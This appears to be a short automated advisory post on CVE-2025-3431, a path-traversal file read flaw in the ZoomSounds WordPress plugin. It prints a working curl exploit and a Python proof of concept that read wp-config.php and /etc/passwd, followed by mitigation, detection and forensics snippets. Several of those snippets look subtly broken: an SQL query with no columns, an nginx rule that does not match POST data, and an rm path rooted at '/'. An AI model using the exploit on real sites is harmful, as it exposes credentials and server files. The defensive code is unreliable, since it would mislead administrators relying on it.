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How CVE-2025-3431 Works
The ZoomSounds WordPress plugin (up to v6.91) contains an unauthenticated file read vulnerability in the `dzsap_download` action. Attackers exploit this by sending a crafted HTTP request with a manipulated file path, bypassing security checks. The server processes this request without proper validation, allowing access to sensitive files (e.g., /wp-config.php, /etc/passwd). The flaw stems from insufficient user input sanitization in file retrieval functions, enabling directory traversal (e.g., `../../` payloads).
DailyCVE Form
Platform: WordPress
Version: ≤ 6.91
Vulnerability: Arbitrary File Read
Severity: Critical
Date: 2025-06-04
Prediction: Patch by 2025-07-15
What Undercode Say:
Exploitation
curl -X POST "http://target/wp-admin/admin-ajax.php" \ -d "action=dzsap_download&file=../../wp-config.php"
Python PoC:
import requests
url = "http://target/wp-admin/admin-ajax.php"
data = {"action": "dzsap_download", "file": "../../../etc/passwd"}
response = requests.post(url, data=data)
print(response.text)
Mitigation
1. Immediate Action:
chmod 640 /var/www/html/wp-config.php rm -rf /wp-content/plugins/zoom-sounds/
2. WAF Rules:
location ~ /wp-admin/admin-ajax.php {
if ($args ~ "dzsap_download") { deny all; }
}
3. Patch Check:
wp plugin update zoom-sounds --allow-root
Detection
Log Analysis:
grep "dzsap_download" /var/log/nginx/access.log | cut -d " " -f 1 | sort -u
YARA Rule:
rule zoomsounds_exploit {
strings: $ = "action=dzsap_download&file="
condition: all of them
}
Post-Exploit Forensics
SELECT FROM wp_options WHERE option_name LIKE '%zoom%';
Memory Dump:
gcore -o /tmp/wordpress_dump $(pgrep php-fpm)
Expected Patch Changes
- $file = $_REQUEST['file']; + $file = sanitize_file_path($_REQUEST['file']);
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
